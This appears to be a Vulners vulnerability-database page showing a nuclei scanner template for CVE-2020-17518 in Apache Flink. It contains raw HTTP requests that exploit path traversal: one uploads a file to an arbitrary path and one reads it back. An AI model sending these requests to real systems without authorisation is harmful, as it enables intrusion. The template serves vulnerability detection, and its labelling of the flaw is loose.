Lucene search
+L

Apache Flink 1.5.1 - Local File Inclusion

🗓️ 06 Sep 2026 23:24:28Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 70 Views

Apache Flink 1.5.1 - Local File Inclusion vulnerability allowing file upload to arbitrary location through malicious HTTP HEADE

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Apache Flink
10 Jan 202101:12
githubexploit
circl
Circl
CVE-2020-17518
12 Jan 202500:00
circl
cnnvd
CNNVD
Apache Flink 路径遍历漏洞
5 Jan 202100:00
cnnvd
cnvd
CNVD
Apache Flink Arbitrary File Write Vulnerability
6 Jan 202100:00
cnvd
checkpoint_advisories
Check Point Advisories
Apache Flink Directory Traversal (CVE-2020-17518; CVE-2020-17519)
17 Jan 202100:00
checkpoint_advisories
cve
CVE
CVE-2020-17518
5 Jan 202111:40
cve
cvelist
Cvelist
CVE-2020-17518 Apache Flink directory traversal attack: remote file writing through the REST API
5 Jan 202111:40
cvelist
github
Github Security Blog
Upload of file to arbitrary path in Apache Flink
9 Feb 202222:29
github
kitploit
Kitploit
CVE-2020-17518
6 Sep 202621:49
kitploit
kitploit
Kitploit
CVE-2020-17518
6 Sep 202616:39
kitploit
Rows per page
id: CVE-2020-17518

info:
  name: Apache Flink 1.5.1 - Local File Inclusion
  author: pdteam
  severity: high
  description: |
    Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).
  reference:
    - https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
    - https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-17518
    cwe-id: CWE-22,CWE-23
    epss-score: 0.50038
    epss-percentile: 0.9886
    cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: flink
  tags: cve2020,cve,lfi,flink,fileupload,vulhub,apache,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /jars/upload HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y

        ------WebKitFormBoundaryoZ8meKnrrso89R6Y
        Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"

        {{randstr}}
        ------WebKitFormBoundaryoZ8meKnrrso89R6Y--
      - |
        GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}") && status_code == 200'
# digest: 4a0a00473045022100dde1a30c5274e35a1d11034ee90084c7e7d594ca0ab0907dfe5970f73fb6eeca02201a84b42dedc6739a939e28cc9a81638c939e346743543e52f933003891c190e4:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation